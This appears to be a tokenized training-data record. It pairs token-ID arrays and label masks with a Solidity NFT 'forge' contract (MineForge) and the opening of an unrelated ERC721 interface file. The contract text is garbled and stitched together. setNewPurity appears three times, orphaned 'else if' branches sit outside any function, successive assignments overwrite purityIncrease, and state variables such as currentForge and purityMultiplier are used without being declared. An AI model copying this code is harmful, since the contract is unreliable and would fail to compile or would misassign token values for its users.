13,
1071,
1476,
5024,
3849,
1135,
261,
2867,
8526,
3778,
13,
288,
203,
3639,
327,
389,
7094,
63,
8443,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/97/0xBeaFb5575AC08170243445eb2DE61c6173D03dE6/sources/contracts/MineForge.sol
|
todo set wait time by rank struct to store forge info
|
contract MineForge is Pausable, AccessControl, IMineForge {
pragma solidity ^0.8.7;
struct ForgeInfo {
bool isBeingForged;
address forger;
bool isPresent;
}
struct UserInfo {
uint256[] createdForges;
bool isForging;
}
struct ForgeStats {
uint256 burnedRanks;
uint256 mintedRanks;
}
IMineForgeRandom forgeRandom;
MineNft.RankType MAX_RANK_END = MineNft.RankType.EMERALD;
MineNft private mineNft;
MineNft.RankType MAX_RANK_START = MineNft.RankType.EMERALD;
mapping(address => UserInfo) public usersInfo;
uint16 MAX_PURITY = 10_000;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor(address nftAddress) {
mineNft = MineNft(nftAddress);
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function startForge(uint256 rankId) external whenNotPaused {
require(mineNft.ownerOf(rankId) == msg.sender, "You dont own the rank");
require(mineNft.getApproved(rankId) == address(this), "Contract not approved");
require(!currentForge[rankId].isPresent, "Rank is already in forge");
MineNft.RankType rankType = mineNft.getType(rankId);
require(uint256(rankType) <= uint256(MAX_RANK_START), "Rank exceeds max forge");
require(!usersInfo[msg.sender].isForging, "User already forging");
mineNft.burn(rankId);
currentForge[rankId].isBeingForged = true;
currentForge[rankId].forger = msg.sender;
currentForge[rankId].isPresent = true;
usersInfo[msg.sender].isForging = true;
usersInfo[msg.sender].createdForges.push(rankId);
forgeStats[rankType].burnedRanks++;
}
function finishForge(uint256 rankId)
external
onlyRole(MINTER_ROLE)
whenNotPaused
returns (uint256)
{
bool isBeingForged = currentForge[rankId].isBeingForged;
require(isBeingForged, "Rank is not being forged");
currentForge[rankId].isBeingForged = false;
address forgeCreator = currentForge[rankId].forger;
usersInfo[forgeCreator].isForging = false;
MineNft.RankType rankType = mineNft.getType(rankId);
require(uint256(rankType) <= uint256(MAX_RANK_END), "56-Rank exceeds max forge");
MineNft.RankType newRankType = MineNft.RankType(uint256(rankType) + 1);
uint256 newRankId = mineNft.mintRankForge(forgeCreator, newRankType);
forgeRandom.setIsForge(newRankId, rankId);
forgeStats[newRankType].mintedRanks++;
return newRankId;
}
function setNewPurity(uint256 rankId, uint256 randomness) external override {
require(
msg.sender == address(forgeRandom) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender),
"Only random or admin allowed"
);
uint256 randomModulo = randomness % 100;
uint16 purityIncrease = 0;
if (randomModulo > 14) {
if (randomModulo < 30) {
purityIncrease = 100;
purityIncrease = 200;
purityIncrease = 300;
purityIncrease = 400;
purityIncrease = 500;
}
}
purityIncrease = purityIncrease * (purityMultiplier / 10);
uint16 purity = mineNft.getPurity(rankId);
uint16 newPurity = purity + purityIncrease;
uint16 finalPurity = (newPurity >= MAX_PURITY) ? MAX_PURITY : newPurity;
mineNft.setPurity(rankId, finalPurity);
}
function setNewPurity(uint256 rankId, uint256 randomness) external override {
require(
msg.sender == address(forgeRandom) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender),
"Only random or admin allowed"
);
uint256 randomModulo = randomness % 100;
uint16 purityIncrease = 0;
if (randomModulo > 14) {
if (randomModulo < 30) {
purityIncrease = 100;
purityIncrease = 200;
purityIncrease = 300;
purityIncrease = 400;
purityIncrease = 500;
}
}
purityIncrease = purityIncrease * (purityMultiplier / 10);
uint16 purity = mineNft.getPurity(rankId);
uint16 newPurity = purity + purityIncrease;
uint16 finalPurity = (newPurity >= MAX_PURITY) ? MAX_PURITY : newPurity;
mineNft.setPurity(rankId, finalPurity);
}
function setNewPurity(uint256 rankId, uint256 randomness) external override {
require(
msg.sender == address(forgeRandom) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender),
"Only random or admin allowed"
);
uint256 randomModulo = randomness % 100;
uint16 purityIncrease = 0;
if (randomModulo > 14) {
if (randomModulo < 30) {
purityIncrease = 100;
purityIncrease = 200;
purityIncrease = 300;
purityIncrease = 400;
purityIncrease = 500;
}
}
purityIncrease = purityIncrease * (purityMultiplier / 10);
uint16 purity = mineNft.getPurity(rankId);
uint16 newPurity = purity + purityIncrease;
uint16 finalPurity = (newPurity >= MAX_PURITY) ? MAX_PURITY : newPurity;
mineNft.setPurity(rankId, finalPurity);
}
} else if (randomModulo < 45) {
} else if (randomModulo < 60) {
} else if (randomModulo < 75) {
} else if (randomModulo < 90) {
function getUserInfo(address user) external view returns (UserInfo memory) {
return usersInfo[user];
}
ADMINISTRATION FUNCTIONS
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_unpause();
}
function setMaxRank(MineNft.RankType startMaxRank, MineNft.RankType endMaxRank)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
MAX_RANK_START = startMaxRank;
MAX_RANK_END = endMaxRank;
}
function setRandomAddress(address newAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
forgeRandom = IMineForgeRandom(newAddress);
}
function setMultiplier(uint16 _purityMultiplier) external onlyRole(DEFAULT_ADMIN_ROLE) {
purityMultiplier = _purityMultiplier;
}
function manuallyDisableRankForge(uint256 rankId) external onlyRole(DEFAULT_ADMIN_ROLE) {
currentForge[rankId].isBeingForged = false;
}
function manuallyDisableUserForge(address forgeCreator) external onlyRole(DEFAULT_ADMIN_ROLE) {
usersInfo[forgeCreator].isForging = false;
}
function emergencyWithdrawToken(address tokenAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
IERC20 tokenContract = IERC20(tokenAddress);
uint256 withdrawBalance = tokenContract.balanceOf(address(this));
require(withdrawBalance > 0, "No balance for this token");
tokenContract.transfer(msg.sender, withdrawBalance);
}
function emergencyWithdrawBNB() external onlyRole(DEFAULT_ADMIN_ROLE) {
payable(msg.sender).transfer(address(this).balance);
}
}
| 3,278,174 |
[
1,
4625,
348,
7953,
560,
30,
225,
10621,
444,
2529,
813,
635,
6171,
1958,
358,
1707,
21388,
1123,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
490,
558,
1290,
908,
353,
21800,
16665,
16,
24349,
16,
6246,
558,
1290,
908,
288,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
27,
31,
203,
565,
1958,
2457,
908,
966,
288,
203,
3639,
1426,
353,
1919,
310,
1290,
2423,
31,
203,
3639,
1758,
364,
693,
31,
203,
3639,
1426,
12469,
31,
203,
565,
289,
203,
203,
565,
1958,
25003,
288,
203,
3639,
2254,
5034,
8526,
2522,
1290,
2852,
31,
203,
3639,
1426,
353,
1290,
1998,
31,
203,
565,
289,
203,
203,
565,
1958,
2457,
908,
4195,
288,
203,
3639,
2254,
5034,
18305,
329,
12925,
87,
31,
203,
3639,
2254,
5034,
312,
474,
329,
12925,
87,
31,
203,
565,
289,
203,
203,
565,
6246,
558,
1290,
908,
8529,
21388,
8529,
31,
203,
203,
565,
490,
558,
50,
1222,
18,
12925,
559,
4552,
67,
54,
20201,
67,
4415,
273,
490,
558,
50,
1222,
18,
12925,
559,
18,
3375,
654,
1013,
40,
31,
203,
203,
203,
203,
203,
565,
490,
558,
50,
1222,
3238,
312,
558,
50,
1222,
31,
203,
565,
490,
558,
50,
1222,
18,
12925,
559,
4552,
67,
54,
20201,
67,
7570,
273,
490,
558,
50,
1222,
18,
12925,
559,
18,
3375,
654,
1013,
40,
31,
203,
565,
2874,
12,
2867,
516,
25003,
13,
1071,
3677,
966,
31,
203,
565,
2254,
2313,
4552,
67,
52,
1099,
4107,
273,
1728,
67,
3784,
31,
203,
565,
1731,
1578,
1071,
5381,
6989,
2560,
67,
16256,
273,
417,
24410,
581,
5034,
2932,
6236,
2560,
67,
16256,
8863,
203,
565,
3885,
12,
2867,
290,
1222,
1887,
13,
288,
203,
3639,
312,
558,
50,
1222,
273,
490,
558,
50,
1222,
12,
82,
1222,
1887,
1769,
203,
203,
3639,
389,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
1234,
18,
15330,
1769,
203,
3639,
389,
8401,
2996,
12,
6236,
2560,
67,
16256,
16,
1234,
18,
15330,
1769,
203,
565,
289,
203,
203,
565,
445,
787,
1290,
908,
12,
11890,
5034,
6171,
548,
13,
3903,
1347,
1248,
28590,
288,
203,
3639,
2583,
12,
3081,
50,
1222,
18,
8443,
951,
12,
11500,
548,
13,
422,
1234,
18,
15330,
16,
315,
6225,
14046,
4953,
326,
6171,
8863,
203,
203,
3639,
2583,
12,
3081,
50,
1222,
18,
588,
31639,
12,
11500,
548,
13,
422,
1758,
12,
2211,
3631,
315,
8924,
486,
20412,
8863,
203,
203,
3639,
2583,
12,
5,
2972,
1290,
908,
63,
11500,
548,
8009,
291,
6351,
16,
315,
12925,
353,
1818,
316,
21388,
8863,
203,
203,
3639,
490,
558,
50,
1222,
18,
12925,
559,
6171,
559,
273,
312,
558,
50,
1222,
18,
588,
559,
12,
11500,
548,
1769,
203,
203,
3639,
2583,
12,
11890,
5034,
12,
11500,
559,
13,
1648,
2254,
5034,
12,
6694,
67,
54,
20201,
67,
7570,
3631,
315,
12925,
14399,
943,
21388,
8863,
203,
203,
3639,
2583,
12,
5,
5577,
966,
63,
3576,
18,
15330,
8009,
291,
1290,
1998,
16,
315,
1299,
1818,
364,
1998,
8863,
203,
203,
3639,
312,
558,
50,
1222,
18,
70,
321,
12,
11500,
548,
1769,
203,
203,
3639,
783,
1290,
908,
63,
11500,
548,
8009,
291,
1919,
310,
1290,
2423,
273,
638,
31,
203,
3639,
783,
1290,
908,
63,
11500,
548,
8009,
1884,
693,
273,
1234,
18,
15330,
31,
203,
3639,
783,
1290,
908,
63,
11500,
548,
8009,
291,
6351,
273,
638,
31,
203,
203,
3639,
3677,
966,
63,
3576,
18,
15330,
8009,
291,
1290,
1998,
273,
638,
31,
203,
3639,
3677,
966,
63,
3576,
18,
15330,
8009,
4824,
1290,
2852,
18,
6206,
12,
11500,
548,
1769,
203,
203,
3639,
21388,
4195,
63,
11500,
559,
8009,
70,
321,
329,
12925,
87,
9904,
31,
203,
565,
289,
203,
203,
565,
445,
4076,
1290,
908,
12,
11890,
5034,
6171,
548,
13,
203,
3639,
3903,
203,
3639,
1338,
2996,
12,
6236,
2560,
67,
16256,
13,
203,
3639,
1347,
1248,
28590,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
1426,
353,
1919,
310,
1290,
2423,
273,
783,
1290,
908,
63,
11500,
548,
8009,
291,
1919,
310,
1290,
2423,
31,
203,
203,
3639,
2583,
12,
291,
1919,
310,
1290,
2423,
16,
315,
12925,
353,
486,
3832,
364,
2423,
8863,
203,
203,
3639,
783,
1290,
908,
63,
11500,
548,
8009,
291,
1919,
310,
1290,
2423,
273,
629,
31,
203,
203,
3639,
1758,
21388,
10636,
273,
783,
1290,
908,
63,
11500,
548,
8009,
1884,
693,
31,
203,
203,
3639,
3677,
966,
63,
1884,
908,
10636,
8009,
291,
1290,
1998,
273,
629,
31,
203,
203,
3639,
490,
558,
50,
1222,
18,
12925,
559,
6171,
559,
273,
312,
558,
50,
1222,
18,
588,
559,
12,
11500,
548,
1769,
203,
203,
3639,
2583,
12,
11890,
5034,
12,
11500,
559,
13,
1648,
2254,
5034,
12,
6694,
67,
54,
20201,
67,
4415,
3631,
315,
4313,
17,
12925,
14399,
943,
21388,
8863,
203,
203,
3639,
490,
558,
50,
1222,
18,
12925,
559,
394,
12925,
559,
273,
490,
558,
50,
1222,
18,
12925,
559,
12,
11890,
5034,
12,
11500,
559,
13,
397,
404,
1769,
203,
203,
3639,
2254,
5034,
394,
12925,
548,
273,
312,
558,
50,
1222,
18,
81,
474,
12925,
1290,
908,
12,
1884,
908,
10636,
16,
394,
12925,
559,
1769,
203,
203,
3639,
21388,
8529,
18,
542,
2520,
1290,
908,
12,
2704,
12925,
548,
16,
6171,
548,
1769,
203,
203,
3639,
21388,
4195,
63,
2704,
12925,
559,
8009,
81,
474,
329,
12925,
87,
9904,
31,
203,
203,
3639,
327,
394,
12925,
548,
31,
203,
565,
289,
203,
203,
565,
445,
19469,
52,
2336,
12,
11890,
5034,
6171,
548,
16,
2254,
5034,
2744,
4496,
13,
3903,
3849,
288,
203,
3639,
2583,
12,
203,
5411,
1234,
18,
15330,
422,
1758,
12,
1884,
908,
8529,
13,
747,
28335,
12,
5280,
67,
15468,
67,
16256,
16,
1234,
18,
15330,
3631,
203,
5411,
315,
3386,
2744,
578,
3981,
2935,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
2744,
1739,
26478,
273,
2744,
4496,
738,
2130,
31,
203,
203,
3639,
2254,
2313,
293,
2336,
382,
11908,
273,
374,
31,
203,
203,
3639,
309,
261,
9188,
1739,
26478,
405,
5045,
13,
288,
203,
5411,
309,
261,
9188,
1739,
26478,
411,
5196,
13,
288,
203,
7734,
293,
2336,
382,
11908,
273,
2130,
31,
203,
7734,
293,
2336,
382,
11908,
273,
4044,
31,
203,
7734,
293,
2336,
382,
11908,
273,
11631,
31,
203,
7734,
293,
2
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-21
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^ 0.8.7;
pragma experimental ABIEncoderV2;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
return msg.sender;
}
function _msgData() internal view virtual returns(bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns(bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns(uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns(address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
